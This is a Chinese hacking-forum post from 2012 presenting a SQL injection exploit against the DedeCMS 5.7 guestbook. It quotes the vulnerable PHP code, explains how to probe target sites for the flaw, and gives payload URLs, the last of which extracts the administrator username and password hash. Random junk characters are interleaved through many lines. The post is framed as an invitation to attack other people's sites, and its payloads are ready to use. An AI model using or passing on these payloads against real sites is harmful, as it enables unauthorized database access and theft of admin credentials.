找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3768|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
$ G+ G4 V* P7 Z- Z8 X
8 w6 O% d# I# g& U  [3 h' \漏洞文件edit.inc.php具体代码:
7 t9 x2 L" C, ]6 P8 |/ v1 E: ^' F9 f/ w1 H) y7 Q. a  r1 t- I* N" A
< ?php  1 k/ L8 N1 s6 @7 N7 A1 h

' I% _/ Z. v9 Qif(!defined('DEDEINC')) exit('Request Error!');  # G2 Y8 n6 m' y/ |

4 g7 @$ g7 a/ l- l; e   6 o; Z* k% f' {0 P1 h" `( F$ ?: n
' `5 m, t9 b! i" [  _5 `
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  3 |( j, j- Z0 M0 }5 m: Q7 [
! l4 `% d3 c6 N6 e4 J% p7 O% S/ a; {3 K5 ]
else $GUEST_BOOK_POS = "guestbook.php";    k" ~! k4 R/ y- @, X, S
- n2 T/ p# q9 I. g
   8 }1 A% y/ h9 s/ h6 j' h" ^( T

! b/ [* A4 Y) z6 S" a$id = intval($id);  
& @$ C" w% \$ ?7 B7 X2 G0 f; E5 t' V) h4 I3 z
if(empty($job)) $job='view';  + x- F. Z: a& @, v
  v7 Y6 g/ S6 H& Y" n  s3 o" ~
   5 e4 A, J7 h( {" M, H. O
# b5 K  g) O, P) e/ V
if($job=='del' && $g_isadmin)  
$ u+ X# s: @/ V- u& x/ u- R
) j1 J0 i0 r0 X4 k7 g0 M6 ^{  
1 Z2 s& {6 `( E: e9 h( Y+ _9 `& F5 d8 _4 L' L
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  2 K8 A( @* t) ?- z. V3 o
" W  m7 z& D9 f- N4 N
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  " ]. q8 e* e8 x4 S/ T5 Y
$ q3 U0 O8 `' @. {
exit();  
# {  O: u4 n5 d& x- T( L8 W$ \/ _
}  : T, ^' T5 M4 j
' S  [( @- v/ p# n; `1 P+ ]
else if($job=='check' && $g_isadmin)  & V% t( @* f/ j+ l( p
' ~+ t. z* G, e; U( l; w/ g- A, ]
{  
% M; h' R& V# i  \6 V" z0 v0 @/ z9 F0 Z: F) @
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
; {' ^& F6 ]+ U1 H. ]( c7 g* z' v' }8 Y
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  : p; M. |6 L" F  B; H2 s: f; r% t
% ?2 R. F7 b2 S) u. T6 s+ A' N9 a
exit();  % n# `& ?" W2 C4 L/ r1 s, L

5 G0 N( ?4 s( w& ?. P( M! t1 X}  ' I& ~5 |' I! ]$ v% k2 G
) x# d9 X  m# E
else if($job=='editok')  
4 a$ a# P! P( u! G+ Q( K/ r. E& B. P5 K( i# p
{  
" w$ g8 [/ g7 L  g3 U
; ]6 m2 o1 [$ l% K6 Y" }$remsg = trim($remsg);  ; s3 D8 i, U3 O. G+ D

# a4 z: X. P/ G. e  m# A7 }5 @if($remsg!='')  % O+ G. R2 W/ W( x
  q2 v( l9 O# P
{  ; x# p1 Q" ?+ b+ a3 r: L+ s4 I5 n

  O7 F: e" U5 a7 L//管理员回复不过滤HTML By:Errorera blog:errs.cc  
. Z. b. ^! q4 w& z' m
( h9 C) n) O% D2 n2 g; W9 Uif($g_isadmin)  ' a3 W0 @, q8 \1 s$ [! r# }
1 U! P, P* J0 N5 M3 u3 Q) t
{  
: s2 |* f) A. f8 D8 N  ]
6 L4 I: k% m; V/ L0 h  \$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  6 l2 n% f8 q: @7 i% h  Z
1 ?' `2 P, C$ z+ N3 ~- z0 f
//$remsg <br /><font color=red>管理员回复:</font> }  
! b1 G6 p& d! L2 q1 c- ^7 x3 m, v
! \4 n: H9 g* O3 f* B/ W8 Yelse + e$ [/ K' \  {/ ?: w% X/ A

- O/ D. [. t3 C% }9 N{  
- [# K! I6 z4 E% b, W. P; f& O: U( k* d$ T2 {/ Y- P/ a
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
* I3 b: E/ p8 z$ J& Y1 C
) z5 y5 Z% i( ^; ]7 c$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
5 w  n2 w. z% ]/ p  M7 l7 o% ~1 x9 x+ m5 ?6 \  j
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
1 Y$ U0 P% Y( P
% K! J/ X  ?. }( g: M$msg = $oldmsg.$remsg;  
! V. J/ l- j+ ^3 |4 n6 Q0 P) ?8 S0 ]) W! {
}  
  Q& i- i/ K4 W& P& U, O( ~1 d' Z
. v, U1 `9 b4 @9 e" p7 n8 W}  / V8 Q/ x0 O2 y( E* l1 G3 _
3 N+ b* B2 }( ~' u, L" b4 u
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
# L! z, V5 P- {, d
# Z. U' ]* ]3 d& d! _* l$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  6 U/ G9 H( a4 J4 _+ H- N' u4 a* l$ z9 e
2 h2 v) Z1 L9 M. ^% F7 N
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  / Q  }2 d" m) h( x) e

0 d, v; K: x0 \" j# H# }exit();  
5 _& w0 n2 ~# m1 f/ H4 `4 E& B3 N9 v% z; N1 o  ~: S
}  
5 R3 |+ d$ n: p  Q# I
+ Q  w* t) i) A4 L3 D# R# i0 \9 f; V//home:www.errs.cc  
8 N% c, ^2 i* B) K: H; q6 Y! r
, G  j/ L+ N5 K" `) ~( \) h( ^3 Cif($g_isadmin)  
% B) a3 K6 ]3 a" `9 [
3 B. J. A! E6 j0 ]4 V# }5 |{  ' g! I+ M+ N3 _  l; T

$ j0 _3 d* r+ n* v* x' L* _- {$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
5 F: l, E- [8 e: a1 B' w5 s7 [. o2 g
/ h! w% i# k5 T) q  ]# o% e. xrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  % `9 g: B0 E6 L' m2 ^1 o8 n/ D
1 P/ E2 i* B" W5 w# r" A
}  
: v7 s. o: h3 M. |
$ E; |2 I, |7 `& q( nelse
, O7 b0 G0 x, C; P2 A6 V+ Q( p. d) s- N3 ?
{  + x& y+ W3 w6 P/ |  O

! A( Q/ [3 U+ c; b: p$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ' `% ^6 T6 x$ z  M

/ d( x7 x, V) a+ f% Y% j% Arequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  . @4 ~1 p# ~, Q% X" a# O

! _5 F( x$ k8 h$ i/ r) Y; e} 漏洞成功需要条件:, M7 n6 Q" p# ?0 h: V/ J8 w6 c* j
1. php magic_quotes_gpc=off
/ m! d8 m( E0 t; E6 M. u2 |2 Y; ]2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。- H/ `3 {& I# n" B  A

) ~$ F- t  B' R! m) y怎么判断是否存在漏洞:. o( K& h( r' |6 Q
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,) D' X% o) ?; w: r! C6 y& X
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID+ ?; p  i. ^- t- l+ H
访问:
0 l$ K% L$ A3 O& u" J1 Z, O' Y7 ^  ^3 g; D# U6 m8 W& D/ B
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 L" w. ?4 ^! e* x/ I1 N3 Q
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证8 M" u1 E4 v1 Y% F
( P2 b7 F& C/ T

) \$ x/ g% R. Z0 s. ^5 v明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ [  E0 a, T- G; y; s  s
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
2 u) }& o& j/ J- p9 ^3 j那么再次访问$ H( ]9 m3 K2 k1 z1 x

; S4 Y1 h9 E7 r, p, \www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
5 W( f" I4 w0 q+ n! O2 f
( |- Y! E7 f1 z1 H* b6 u大概利用就是这样,大家有兴趣的多研究下!!
4 {. p! Q( q) `3 b- X0 g/ c0 b3 h! W6 ~6 S! f4 Z4 @. M1 V
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
+ @7 c6 H, i1 K; C. J* f) o3 F8 K! B; M" O
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表